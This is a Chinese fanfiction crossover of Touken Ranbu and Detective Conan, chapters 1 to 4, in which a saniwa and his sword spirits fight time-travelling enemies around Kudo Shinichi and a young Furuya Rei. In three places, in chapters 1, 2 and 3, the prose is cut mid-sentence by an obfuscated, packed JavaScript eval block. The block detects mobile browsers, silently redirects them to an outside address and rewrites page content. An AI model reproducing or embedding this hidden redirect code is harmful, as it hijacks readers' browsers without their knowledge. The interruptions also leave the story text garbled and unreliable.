《审神者也要拯救柯学世界》 1. 第 1 章 “新任务？” 时政总部，A区总负责人办公室内响起青年的疑问，因为良好的隔音，没有传出门外。 “对，”A区负责人九凝脸上带着几分疲倦，她揉了揉额角，拿出一叠文件推过去，“情况特殊，需要有自保能力的审神者前往，你去正合适。” 不久之前，时空乱流裂缝中存在的不同世界被不知明力量影响，从裂隙中脱出，与时间政府所管辖的时间轴接轨。 本来对付历史修正主义者就已经够麻烦了，现在那些世界分别跟相应的时间段碰撞、融合，搞得不稳定因素更多了，她和其他几个负责人忙的焦头烂额，偏偏还不能放任。 ——因为敌人不会放过这个机会的。 江霖垂眸看向桌面上文件中的内容，第一行赫然写着“经检测，因受到不明力量影响，付丧神与审神者之间的链接将在到达目标节点后断开，因此本任务需审神者亲自带队前往。” 下面接了一句被加粗标出来的字体：任务危险程度较高，请慎重考虑是否参加。 之后才是任务的相关资料。 然而比起任务的危险性，江霖更关心一个问题：“我若是去了战场，本丸的大家要如何安排？” 审神者前往战场，本丸的时间流速会与外界趋同，这次任务难度不小，可能需要几个月甚至更久，他放心不下本丸。 九凝提起一点精神回答：“不用担心，研究部利用那些世界还没有跟时间轴完全融合这点，对时空转换装置做了改进。就算是审神者去，本丸经历的时间也不会超过四十八小时。” 她指着文件道：“虽然该说的这里面基本上都写了，不过有几点我还是要提醒你一下。” “第一，任务世界与时间轴还在磨合阶段，规则法则不一定与我们知道的一致，不要太过依赖过往的经验，见机行事。” “第二，根据调查，历史修正主义者似乎也受到了制约，因此它们介入历史的方式可能也会改变，需要多加注意。” “最后，也是最重要的一点，虽然这句话不应该由我这个上司来说。”坐在办公桌后的银发女子抬眼与目光平静的青年对视，又轻轻垂下。 “以安全为重，实在情况危急就及时撤退，别逞强。” 现在想起这小兔崽子当年想通过契约强制唤醒巴形薙刀，结果差点把本丸阵法整崩的事她都还心有余悸。 看着挺沉稳冷静一孩子，真逼急了指不定能做出什么来，得防着点。 “……明白。”沉思片刻后，江霖点头应下，拿起文件，“我要回去做准备，先告辞。” “等等。”九凝叫住已经转身的江霖，翻出两个盒子，将其中一个打开，“带上这个，改进后的便携式转换装置，人类的身体很脆弱，它可以保护你，别弄丢了。” 盒子里装着一枚样式精巧的金色怀表，表盘上雕刻着属于时间政府的标志。 江霖拿起怀表收好：“是，我会好好保管的。” 顿了顿，他的视线扫过另一个盒子，又将目光转向九凝，虽然没有开口，但询问的意味十分明显。 “还真让泠月说对了啊。”九凝幽幽叹了口气，“这下好了，我的收藏又要减少了。” 江霖的神情带上一点疑惑：“嗯？” 这意思，九凝大人是跟泠月前辈打了赌？ “果然又忘了啊。”看到他的样子，九凝忍不住笑了，包装明显更加精致的礼盒被她放到江霖手上，“祝你25岁生日快乐，江霖。” 那双掺杂了些许金光的碧色眼瞳也含着浅浅的笑意。 手上的重量不轻，但更重的是礼物所包含的心意，江霖怔愣了一瞬，微微低下头，言辞郑重：“多谢。” 这几年早就习惯了他这个表现，九凝没说什么，只是嘴角的弧度加深：“给你准备的是任务能用得上的东西，回去再拆。” 盒子里放了两样东西，一把银灰色的手/枪和一条红宝石吊坠。 枪附赠了说明书，是专为那个世界准备的武器，应该是九凝送的。 江霖把它收了起来，这个不能被和泉守看到。 吊坠下面压着一张纸条，是属于泠月的笔迹：【这可是我好不容易才找到跟你眼睛颜色一样的宝石，一定要戴啊！】 啊…… 总是被吐槽没什么情绪变化的浅红色眼眸中泄出些许笑意，江霖握紧吊坠，做出回应：“我会的。” 时间很快到了出阵那天。 出阵的人选，江霖结合任务资料考虑了很久，到出发前才全部定下。 清晨时分，没有任务的刀剑男士三三两两的聚集在院落中，小声交谈着，然后一致将暗含期待的眼神投向站在人群中心的江霖。 虽然被这样毫不掩饰的炽热视线盯着，但已经习以为常的江霖半点不受影响：“情况各位已知，此次由我带队，接下来宣布出阵成员。” “加州清光。” “药研藤四郎。” “烛台切光忠。” “山姥切国广。” “七星剑。” “以及，白山吉光。” “了解——，”加州清光抚平手套上的褶皱，对江霖眨了眨眼，“主人，要疼爱我哦！” “这种时候应该说一些更帅气的台词吧？”说了一句不知是吐槽还是建议的话，烛台切光忠两指并拢，在脸侧帅气地一挥，“明白，只要支援大家就好了对吧？” “像你这样表现就免了吧……” 瞥了他们一眼，药研藤四郎带着同样要出阵的白山吉光从兄弟们的包围圈中走出，声音平稳中带着些自信的张扬：“跃跃欲试啊。” 白山吉光语气平静，听不出太大的波动：“接受命令。” 红蓝异瞳的七星剑目光深邃：“约定永恒，契约神圣。交给我吧。” 最后一道应答迟迟没有响起，加州清光咦了一声：“国广人呢？我刚才还看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559841|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他了。” 静立的江霖眼神微微一动，转头看向书房的方向，下一刻回廊上出现山姥切国广的身影，怀里抱着什么东西正朝这边跑。 跑近才发现他抱的是狐之助，山姥切国广将因刚才的动作垂到胸前的飘带拨回脑后，带着些喘的声音微沉：“我来迟了，抱歉。” “审神者大人，不怪山姥切国广，是我怕赶不上，叫他去接我的。” 狐之助纵身一跃，跳上江霖的肩头：“本次任务与以往不同，是全新的历史，因此，我会全程协助您。” “无碍，没有耽误时间。”安慰了山姥切国广一句，江霖又应下狐之助的话，“知道了，有劳。” 人已经到齐，江霖拿出九凝给的怀表，拨动上面的指针，将其调到融合世界所处的时间。 身处与以往不同的蓝色光芒中，江霖听到有人喊了一句：“注意安全！记得保护好主人！” 他转头看向声音的来源，是鹤丸国永，但不等江霖说什么，他眼前的景象有了变化，视线也出现一刹那的模糊，继而重新变得清晰。 目标地点到了。 —————— A区总负责人办公室，来找九凝履行赌约的泠月好奇地发问：“接轨的世界那么多，你把小江派去了哪一个？” 她看过那些资料，怎么说呢，本丸都成真了，那穿越前看的那些动漫漫画甚至游戏能变成真的也很正常，对吧？ “西历1994年的米花町，那个世界的核心人物名为工藤新一。” “柯南啊！”泠月眼睛一亮，凑近在批阅文书的九凝，“他可是我的童年！我能不能去凑个热、啊不是，去协助完成任务？” “那个世界的危险等级很高，你的战斗力……”九凝没有再说下去，但意思很明显了。 多年的交情让泠月毫无阻碍的看懂了她想表达的东西，顿时泄气，恹恹地趴在桌子上，不说话了。 看不得她这个表情、更重要的是她这样妨碍自己处理公务了，九凝从各接轨世界的资料中翻出一份比较和平的：“真想去就这个吧，我记得也算是你的童年，就当是给我帮忙了。” 手忙脚乱接住文件，定睛看清资料上的名字，泠月满脸震惊：“你管网球王子叫和平啊！？” 九凝注意力集中在面前待批复的文件上，听到她的话只是淡淡应了一声：“除了球场上的情况外完全是正常普通生活，跟异能力、火焰、咒力之类的超自然力量比起来，绝对属于和平那一类的。” “柯南也没有超自然力量吧，你为什么说危险等级很高。”泠月眼神幽怨，“你是不是在诓我？其实就是嫌弃我……嗷！你扇子是这么用的吗！” 伸手召回折扇，九凝头也不抬地回答：“至少打你很方便。” “以及，既然这是你的童年，那你就应该记得。” “那个世界上有群蠢货，试图逆转甚至操纵时间，这才是它被列为高危等级的原因。” 2. 第 2 章 江霖遇到了一点麻烦。 准确来说，是狐之助出现了问题。 肩膀上柔顺光滑的皮毛变成了人工织物的手感，狐之助黑亮有神的眼瞳也变成了一对敲上去回声清脆的玻璃珠。 简而言之，狐之助从一个会跑会跳表情丰富的式神，变成了一只虽然惟妙惟肖但根本动不了而且只有巴掌大的毛绒玩具。 “幸好声音的传达没有问题。”狐之助倒是意外的冷静，“请不用担心，我们有推测可能出现的意外，也做了相应的准备。出现这种情况大概是因为这个世界不会出现能说话的动物，所以将我的身体换了一种形式存在。” “诶——，”第一个发现狐之助情况不对并且敲了他眼珠子的加州清光发出疑问，“你这个样子，还能协助完成任务吗？我们可是对这段历史完全不了解啊。” 毕竟对他们来说是根本没有发生过的事嘛。 【请放心，我的身体仍在这个世界，与总部的联系也是稳定状态，所持有的功能一切正常。】 狐之助的声音与其说是从毛绒玩具中传出，不如说是通过队伍的链接直接出现在他们的脑子里。 【据调查，这个世界主要被记载的历史是在工藤新一的牵线下，各国组织联合摧毁代称为黑衣组织的跨国犯罪组织，敌人想要改变的大概就是这段历史。】 【目前还不确定敌人会以什么方式介入这段历史，但毫无疑问，他们的目标一定会包含那位中心人物，工藤新一。】 “那就由我先去侦查吧。”透过窗户观察环境的药研藤四郎转过身，“要先找到工藤新一的位置对吧，现在的时间，他会出现在什么地方？” 【……】 狐之助诡异的沉默了一会儿，【工藤新一是一名高二学生，按理来说他的生活轨迹应该很简单，但他同时是位热衷于发现并揭示真相的侦探，会出没在各个案发地点。】 【因此……】在药研藤四郎如有实质的目光中，狐之助声音越来越小，【工藤新一的活动范围，要概括的话，大概是……全米花町。】 “你的意思是，”药研藤四郎扯出一抹笑，只是那笑怎么看都带着股杀气，“我要在没有任何情报的前提下，在一座有几十万人口的城市里，找到一个人，是吗？” 【不不不，当然不是！】狐之助急忙否认，真要是这种难度的任务，就不可能只派一名审神者来了。 【时之政府有给各位准备在这个时代的身份和证件，凭借证件可以要求当代政府机关给予必要的协助。】 伴随着属于传送阵的能量波动，几本外皮是黑色的小册子和其他证件出现在江霖手边的桌子上，狐之助小声建议：【比如现在就可以找他们调监控追踪工藤新一的行动轨迹。】 要合理运用现代的科技啊各位！ 烛台切光忠拿出一本“伪装”的证件打开，抚摸到上面的某个地方时忽然顿住：“不像是假的啊……这是这么做到的？” 【证件当然是真的！我们时间政府是正规的官方组织！】要不是现在动不了，狐之助恨不得扑到烛台切光忠脸上挠几下。 不要说的好像他们是什么不能见光的势力一样！ 至于后半句的问题，狐之助顿了顿，但想到来之前九凝的嘱托，没有隐瞒：【人类都有执念，在不会改变历史的情况对其做出弥补来交换想要的东西，是必要的手段。】 反正，等任务完成之后，这个时代的人也会忘记关于他们的事。毕竟，他们是此时不应存在之人。 “有办法就行。”药研藤四郎暂时没管那么多，现在任务要紧，他拿起属于自己的证件，“有地图吗？我该去哪里调监控？” 【我有的！】狐之助高声回答，【可以通过队伍的链接直接发给你。】 药研藤四郎略一挑眉：“什么时候有这个功能了？不是只能传递声音吗？” 【是为了任务新做的改进，声音也是，工藤新一很敏锐，为了防止各位被他发现破绽，只要是通过链接进行的行动都会屏蔽这个时代的人。】狐之助叮嘱道。 —————— 山姥切国广跟药研藤四郎一起侦查去了，白山吉光站在江霖身后，一言不发。 七星剑看着逐渐亮起的天空不知道在观察什么。 打开的窗户不再隔音，他们传送过来的地方大概是在一处住宅区，时间尚早，上班族匆匆忙忙走过街道的声音、远处小贩的吆喝声……逐渐嘈杂的声音衬得室内愈发寂静。 加州清光左看一眼，右看一眼，实在受不了这一言不发的安静气氛，幽幽叹了口气，在江霖被他发出的动静吸引过来后露出俏皮的笑容：“主人，我们是在这里等他们回来，还是去做别的什么事？” “暂时没有安排。”江霖看着他，冷峻的眉眼流露出温和，“清光有什么建议吗？” “这次任务不是短时间能完成的，需要停留一段时间，那就要想办法融入现在的时代。”加州清光条理清晰，一副认真分析的表情，“我们可以先去熟悉四周的环境，所以……” “主人，我们去逛街吧！” 可惜最后一句话暴露了真实目的。 “虽然你的话听起来很像借口，不过我同意。”在其他房间转了一圈出来的烛台切光忠接话，“要长时间待的话，生活物资要准备好，但是这个房子里，什么吃的都没有。” 锅碗瓢盆、起居用品什么的倒是齐全，但是厨房里甚至连最基础的调味料都没有，得趁着药研他们去侦查的时间把东西都买回来。 没想到新任务的第一件事是解决生存问题，如果鹤先生在的话一定会说这可真是吓到我了吧。 幸好狐之助还给他们准备了这个时代用的钱，不然在这种社会结构稳定的地方，真的是寸步难行。 江霖点头同意：“那接下来的安排就是，把需要的东西都买回来。” “我列了清单，”烛台切光忠道，“现在可不是在本丸里可以悠闲购物的时候，我们分工吧，速战速决。” “我预想中跟主人的逛街可不是这样……”嘴里抱怨着，加州清光接过其中一张清单，拿起属于自己的证件放进怀里，“狐之助，最近的万屋在哪？” 【300米外有一家购物商场，我把地点标出来。】狐之助说完后提醒了一句， 【各位记得不要把本体带出去，携带管制刀具出现在公共场合，根据这个时代的法律规定，是会被拘留的。虽然给各位准备了证件不会真的被拘留，但多一事不如少一事。】 “知道知道。” 把本体放在桌子上，留下白山吉光看家，一人三刃向着商场进发。 走出院子进入街道，江霖的动作便一顿。 “怎么了？”注意到他的神情变化，加州清光问道。 “没事。”将视线从不远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559842|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽闪忽闪的路灯上收回，江霖继续往前走，“采购物资要紧。” 他的步伐无形中变快了，加州清光加快脚步追了上去，烛台切光忠则是有些无奈：“虽然这事很重要，但也不用这么着急的……” 落在后面的七星剑往江霖收回视线的方向投去了目光，似乎是看到了什么值得注意的东西，眸光微动。 不到一个小时，各自拎着几袋子的几人回来了。 进院子前，江霖下意识看了一眼路灯，灯已经灭了，但那个东西，还在。 路灯所在的地方不断有人经过，看得出这条路人流量不少。 江霖收回注意力，还不是时候，再等等。 等把买来的东西都收拾好，药研藤四郎那边传来消息，找到工藤新一的踪迹了。 【我和山姥切会跟着他，保证他的安全。】 藏在不容易被注意到的角落，药研藤四郎看着站在案发现场对警察侃侃而谈的工藤新一，心情有点微妙的复杂：【狐之助，他只是个学生而已，遇到案件的概率似乎有点太高了？】 光这几个小时，工藤新一就碰到了两起案件，这就是中心人物几个字代表的含义吗？ 【这个……】狐之助的声音听起来莫名心虚，【可能是因为，他是侦探吧。】 回想起那一段冗长但对任务没什么帮助的记载，狐之助默默吐槽，这才哪到哪，等工藤新一变成江户川柯南，那才叫到哪都能碰到案子。 【这算什么理由……算了，】药研藤四郎也没在这一点上纠结，用余光注意着工藤新一的动静，【案件解决了，他接了个电话，开始往车站的方向跑，看起来很匆忙。】 【打电话的是位女性。】 山姥切国广原本是装作无意中路过，谁知案件突发，围观的人群把他挤到了离工藤新一更近的地方。 属于付丧神的五感也让他捕捉到了在这个距离上以人类的耳力不可能听清的声音，【问他为什么又迟到了，所以他的表现才会这么慌张。】 【我们跟上去，药研，在车上汇合。】 【好。】 【两位，】就在这时，狐之助的声音忽然响起，【请在工藤新一下车后告诉我他去了什么地方。】 【明白。】 链接那边暂时没有传来声音，江霖碰了碰腰间的狐之助挂件：“那孩子今天会遇到值得敌人出手的事？” 狐之助再三申明自己不能跟审神者分开，所以江霖腰上多了个跟自身气质完全不符的可爱挂件。 ——它现在不能扒在江霖肩膀上，放进芥子空间的话信号会被切断，再加上狐之助说就算变成了这个样子也还是有感知，死活不肯被塞进口袋里，最后被江霖挂在了腰侧。 虽然被加州清光吐槽了那样动起来的话不怕晃的晕吗，但经过五年磨炼不复青涩的狐之助无视了这句话。 【还不能肯定，】狐之助道，【确认之后我会通知您的。】 不久后，药研藤四郎传来消息，工藤新一去了多罗碧加乐园。 【果然是这一天吗？】狐之助的声音变得严肃，【审神者大人，请你们马上过去，敌人很有可能……！】 不等它的话说完，江霖神情一变，沉下去的话语和狐之助陡然尖锐的声音一同响起：“溯行军的气息，出现了。” 【检测到属于时间溯行军的信号！所处坐标，多罗碧加乐园。】 3. 第 3 章 工藤新一觉得事情很不对劲。 他目睹了一个黑衣男子跟另外一个人可疑的交易现场，谁知道对方还有一个人，从背后把他敲晕了。 本来以为死定了的，但是他现在为什么好像被人抱着在跑啊！ 风声呼啸而过，身体的高温消耗了工藤新一大部分的体力和理智，他强行提起精神，也只勉强听到几个隐约的字眼。 住址……治疗……不行…… 意识越来越模糊，工藤新一陷入昏迷前最后感受到的，是抱着他的人身上淡淡的混杂着花香和茶香的油墨味。 再次醒来，映入工藤新一眼中的是昏暗的天色和熟悉的大门。 ……是阿笠博士家。 虽然貌似被随意的扔在地上，但偏偏他躺的地方贴心的垫了件外套，也不知道该说对方细心还是粗心。 他挣扎着爬起来，在注意到自己身上大了很多的衣服，还有柔软稚嫩、明显不属于高中生的手掌时，忽然顿住了。 没人知道这一刻他想了什么。沉默许久，工藤新一抱起地上的衣服敲响了阿笠博士家的门。 —————— 时间回到大约两小时前。 江霖带着人赶到多罗碧加乐园时，被狐之助称为琴酒和伏特加的黑衣人已经离开。 药研藤四郎和山姥切国广站在已经变成小孩子的工藤新一身前，戒备着阴影中亮起的几道骇人红芒。 “麻烦了啊……”药研藤四郎本体横在胸前，低声道，“居然要在这种地方动手吗？” 这个角落虽然没有人，但只要发出动静，肯定会被注意到的。 江霖同样想到了这点，掌心白光亮起，但在一瞬后又消失，不行，范围太大了，要施展幻境的话，他的灵力无法维持太久，容易出现意外情况。 但肯定不能在这里动手，要想办法转移战场…… “敌人的目标，是那个孩子。” 身旁传来七星剑的轻声提醒，江霖眸光亮起，想到了对策。 他跨步越过山姥切国广，抱起昏迷的工藤新一。 “狐之助，指路。” 既然它们想要对工藤新一下手，那他们就带着这孩子离开。 偏僻之地，适合埋葬不应出现之物。 【是！】 几人根据狐之助的指挥从小门离开多罗碧加乐园，时间溯行军果然追了上来。 加州清光在前面开路，药研藤四郎断后，其余人四散开警戒周围，江霖抱着孩子也速度不减，甚至还能抽空帮他拉起衣服挡风。 一路避开监控和人群，最后停在一间废弃已久的仓库前，加州清光用最快的速度收拾出一个勉强能坐人的地方：“主人，你就带着这小鬼待在这里。那些家伙，就交给我们吧！” 他咧开唇，笑的肆意又自信。 说完，他转身冲向身后，出鞘的打刀在黑暗中反射出凛冽的寒光，“我想早点结束和主人一起回去啊，所以，我要动真格的了！” 浑身被黑雾笼罩的溯行军在他的刀下消散，很快更多敌人冲了上来，呈包围圈将加州清光困住，但注意到这一幕的山姥切国广只是针对他之前的行为给出提醒：“清光，收敛一点，这里还是可能有人经过的，别那么大声音。” 狐之助和江霖也没有担心他们的意思，这种程度的敌人，虽然不至于掉以轻心，但还不足以让他们严阵以待。 在刀剑撞击的背景声中，一人一狐在担心昏迷的小孩。 江霖伸出手触及工藤新一的额头，几乎可以称得上滚烫的温度让他蹙起眉。 “他身上温度很高，真的没问题吗？” 【没问题的，我保证！】 其实很慌的狐之助偷偷检测了一遍工藤新一的身体数据后终于松了口气，听到江霖的话立马回答，语气坚定的像是恨不得指天发誓。 即使它这么说，江霖还是给工藤新一做了降温措施，放任不管的话，没问题也要烧出问题来了。 虽然以狐之助告诉他的原本的历史，这个孩子在独自一人的情况下也成功醒来并赶到了值得信任的人身边，但此刻能做到的事为什么不做呢？ 至于做这种事会不会改变历史之类的担忧。 “守护历史并不是每一个人、每一件事，甚至地点与时间都要和历史中完全一致的。” 狐之助兢兢业业的进行着记录，听到旁边的江霖垂着眸开口：“否则，在我们将他带离的时候就已经偏离了历史。” 但现在时间轴的情况很稳定，没有发生动荡。狐之助在心中接下他的话，因为今天发生的事，最重要的是工藤新一虽然被灌下毒药但只是变小并安全回到家中。 正如，他们要守护的这一段历史，最后的结果是由工藤新一牵线，各国根据情报组织卧底搜集的情报做为罪证，联合起来摧毁代称为黑衣组织的跨国犯罪组织。 除此之外，只要保证大体上的走向与历史相同就行了。 “解决了。” 山姥切国广将本体归刀入鞘，走到江霖身前单膝跪地，用平稳的声音叙述：“敌人已全部消灭，没有发现后续增援。” “嗯，辛苦各位。”把工藤新一换了个姿势，让他的头靠在自己肩膀上，江霖抱着他起身走出仓库，其他人已经等在外面了。 “接下来，把这孩子送回家吧，狐之助，他的住址是？” 【米花町2丁目21番地，但建议您把他送到隔壁，原历史中工藤新一醒来后第一个去找的就是他的邻居。】 “好。” “他需要治疗吗？”白山吉光注意到工藤新一的情况，他的体温虽然降下来了，但额头上又开始冒冷汗，语气仍然听不出太大起伏的声音透着几分关心，“我可以帮忙。” “很抱歉，但是不行。”用手帕擦掉小孩脸上和脖子上的冷汗，江霖脱下外套包住工藤新一，叹息着道，“插手这一部分是无奈之举，但他现在的身体状态不能有变化。” 工藤新一被变成六七岁的小孩子，是历史中不能被改变的部分，而他们不知道付丧神的治愈力量可以做到什么程度，最好的办法就是不做。 送工藤新一到阿笠博士家门口之后，他们就应该离开了，虽然后续大概率还会有接触，但至少不能在这个时候就跟工藤新一见面。 这种程度的偏差还在历史自动修复的范围内，可要是工藤新一醒过来看到他们，那问题就大了。 于是他们抓紧时间撤离了，但是担心工藤新一躺在地上受凉，江霖把自己的外套留下了。 负责实时检测时间轴的狐之助都没有反对他这个行为，加州清光也就没说什么，只是忍不住想，六七岁的小孩子，正是对他们主人特攻的年纪啊。 虽然工藤新一实际上已经是高中生了。 也就是他们离开的早，但凡暗中留下等工藤新一醒来再走，就会发现审神者留下的外套根本没有像以前的任务中一样被历史的自动修复合理化。 回去的路上下了大雨，街道上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559843|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人寥寥无几，他们现在的住处附近更是见不到人影。 江霖不喜欢下雨，但这样的天气倒正适合做一些事。 眼见着江霖在院门口停住了，然后把伞递给自己，转身向左侧的十字路口走去，下意识接住伞的烛台切光忠愣了一下：“主人，你这是……？” “处理一点事情，你们先回去，我很快就来。” 放下这句话，江霖向着在淅淅沥沥的雨中显得更加模糊扭曲的身影靠近，那道残存于世的灵魂却没对他的靠近有任何反应。 “在本丸待了这些年，倒是许久未曾见过了。”江霖伸出手，灵力凝结的长剑被他握于手中，“此地的怨灵，似乎超出了常理。” 【……啊？】听到他口中吐出的词语，狐之助开始怀疑是不是自己听错了，【您是在开玩笑吧……？】 这不对吧，这个世界怎么会有灵魂这种东西存在啊！？ “不，他没有开玩笑。” 把其他人劝回房间，自己却跟上江霖的七星剑看见这一幕，代替江霖给出了答案。 江霖回过头，视线与七星剑的交汇，见到了他瞳孔中倒映出的那道在空无一人的路灯下、被灯光穿透的灰白色半透明身影。 一如他看到的那样。 他于是笑了，笑意在琉璃似的浅红眼瞳中蔓延：“你果然也看得见。” “我乃镌刻死亡的北斗之剑。”不欲过多解释的七星剑只是重复了初见时说过的话，转而问狐之助，“本丸笑面青江的眼睛中便寄宿着一只幽灵，你为何对此惊讶？” 【本丸不一样啊！】狐之助的声音听起来快要崩溃了，【但是这个世界按理来说不可能会存在灵魂这种超自然力量的生物啊！】 这可是个案件频发、侦探盛行的时代，真有亡灵复仇那不是乱上加乱吗！ “这一点你无需担心，”青年的声音平静温和，一如既往地安抚着狐之助，“人类无法见到、也感受不到它们，只是我与七星剑情况特殊，才能看见。” 身为付丧神的加州清光他们都看不见这道怨灵，人类就更不会了。 狐之助相信了江霖的解释，或者说也只能相信，因为它根本检测不到任何所谓怨灵的信号啊！ 要不是清楚江霖和七星剑不是会拿这种事开玩笑的性格，它都要怀疑他们两个联合起来逗自己了。 ——前面没过脑子问出来那句不算怀疑，那只是它被鹤丸国永荼毒多了之后下意识脱口而出的话。 “闲话到此为止。”江霖将长剑对准目光呆滞的灰白身影，沉重的雨势模糊了他此刻的神情，“该动手了。” 到了这种时候，灰白身影依然对外界行为没有半点反应，只是一直重复着横穿马路、倒地、爬起、穿过马路……的举动，仿佛不知疲倦、没有止境。 身体被剑刃穿透的那一刻，它终于停下，涣散的眼神恢复了清明，扭头对江霖露出了笑容，许久没有使用过的声带发出的声音嘶哑又模糊：“谢谢……” 它已经不记得自己是谁、也不知道自己怎么会在这种地方，但它应该要说谢谢的，为这个将它从无休无止的轮回中拉出来的人。 “不用谢我，你只是，要回到自己该去的地方去了而已。” 亡魂安心地闭上了眼。 狐之助小声问：【审神者大人，亡魂也会有生活的地方吗？】 地狱原来真的存在吗？ “或许有。” 沉默了很久，最后，江霖这样回答。 4. 第 4 章 不带伞淋了半天雨的江霖被烛台切光忠灌了一大碗浓姜汤，七星剑也没能逃过，即使付丧神不会生病。 第二天清晨，甚至没到江霖平时醒来的时间，他就被狐之助的声音惊醒：【审神者大人！出事了！】 “什么事？” 江霖倏然睁眼，起身换衣服的同时平静地询问。 【十分钟前时间轴突然发生震荡，我排查了一遍才发现是以现在时间为基准的十九年前出现了时间溯行军的踪迹。】 “……十九年前？”江霖触及枕侧怀表的手顿住，但这个停顿只是一瞬间，他拿起怀表，“也就是说，需要进行时间跳跃？” 【是的，】狐之助迟疑片刻，还是开口，【这段历史持续的时间不短，敌人随时会对每一个节点发起攻击，跟今天相同的情况之后很有可能还会出现，请您做好准备。】 “我知道。” 对着衣柜里的外套犹豫了一会，江霖没有挑自己常穿的衣服，而是换上昨天新买的黑色风衣，怀表放进风衣左侧的内衬口袋中。 但他表现的越冷静，狐之助就越担心，短时间内频繁的跳跃时间，对人类来说……太危险了，很容易让他们对时间的流逝产生错乱。 如果不是这次的任务付丧神无法单独完成，时间跨度这么长的任务是无论如何也不会让审神者来的。 事已至此，它也不可能让江霖放弃，只好翻出工作手册中的条例疯狂查找，试图尽可能降低危险。 【任务途中每次跳跃时间，停留的时间依据个人情况不同而不同，但需尽量控制在尽可能短的时间；跳跃时间时携带的付丧神越少越好，以减少对身体和灵力造成的负担，然后还有……】 狐之助一条一条絮絮叨叨的念着，江霖没有打断它，确认东西都带好之后去了客厅，六名付丧神已经在空旷的大厅中整装待发。 他们都听到了狐之助特意通过链接念的那些条例，因此在江霖宣布要留下两个人守家时都没有意外。 事实上，要不是敌人那边情况不明，他们都想让江霖只带一个人去。 主人/大将的身体是最重要的！ 但在江霖拿出怀表的那一刻，他们听到了狐之助倏然尖锐的声音。 【检测到时间溯行军的信号！它们朝着工藤新一所在的地点去了！】 这句话让江霖转变了原本带走四人的想法：“兵分两路，清光，你和烛台切、白山留下暗中保护工藤新一，其他人跟我走。” “领命。”加州清光后撤一步，退出转换装置笼罩的范围，他右手抚胸，神色沉肃，“我们会不惜一切代价完成命令。” 对上江霖不赞同的眼神，他扬唇灿然一笑：“当然，是在保证自身安全的前提下。” 江霖和伙伴们的身影在光芒中消失，加州清光收起笑容，目露凶光：“用这种手段就想对付我们，未免太看不起我们了。” 想把他们分而化之、逐步击破？那也要看看自己有没有那个本事。 —————— 落于无人处，一人三刃朝着狐之助标注的地点疾速行进，同时询问情报。 “这个节点，溯行军会介入的事情是什么？” 【宫野夫妇接受乌丸集团的赞助，搬离现在的住处前往乌丸集团旗下的研究所进行名为‘银色子弹’的研究。这一年值得敌人关注的，可能性最大的就是这件事。】 【同时它还影响到一名很重要的红方人物的人生经历，如果能够成功改变这一段历史，对敌人来说可谓是一举两得。】 “红方人物？”江霖语气疑惑。 【啊就是属于工藤新一那一方的人物，黑衣组织的人物则被称为黑方，这样方便指代。就是不知道时间溯行军会怎么做……】 见到被时间溯行军抓住的那个孩子时，他们知道了。 它们的目标，不是宫野夫妇，而是如今尚且年幼的，降谷零。 但从时间溯行军没有对降谷零下手来看，它们并非是想通过杀了他来改变历史。 “你们是什么人？放开我！”双手被反绑在身后，还被扼住喉咙的降谷零如同一只被激怒的小兽，即使敌我悬殊也依旧拼命挣扎着，不肯任人宰割。 “我们是什么人不重要，”含糊不清的、像是模仿人类声带颤动的声音带着引诱的意味，“重要的是，你不想见到你的艾莲娜医生吗？” 降谷零挣扎的力度减弱了：“你知道艾莲娜医生在哪吗……？” 是谎言吗？长的像只会出现在妖怪志谈中的古怪家伙，会是那种用谎话哄骗小孩子、然后骗到深山里吃掉的妖怪吗？ 但是如果它们真的知道艾莲娜医生去了哪里呢…… “砰！” 被莹白子弹击中的溯行军惨叫着化为黑烟消散。 降谷零愣愣地看着这超出常理的景象，一个想法突兀地冒出。 hiro，原来妖怪真的存在啊。 “喂，现在可不是发呆的时候。”不知道什么时候接近的人影用刀割断他手上的绳子，手腕转动间又把一个妖怪变成黑烟后，提着他丢到一个人身边，然后又冲了出去。 降谷零抬头看向旁边的人，是个二十多岁的青年，一身黑衣，头发很长，眼睛是红宝石一样清透的颜色。此刻那冷峻的眉眼微微下压，表情很冷，正举着枪射击靠近他们的“妖怪”。 ……等等，他的子弹为什么在发光？！ 但降谷零转念一想，对面都不是人了，用普通的子弹可能都没办法造成伤害。 所以，他们会是那种轻小说里经常出现的，明面上不存在的特殊部门的人吗？ 这么想了，降谷零也在“妖怪”全部消灭后问出口了。 狐之助一惊：【等等，他怎么能看到时间溯行军真正的样子？！】 在普通人眼里溯行军不应该是正常人的长相吗！ 【看来这就是其中一个跟我们所知的规则不一致的地方了。】山姥切国广收起刀，提醒道，【之后要更加注意才行。】 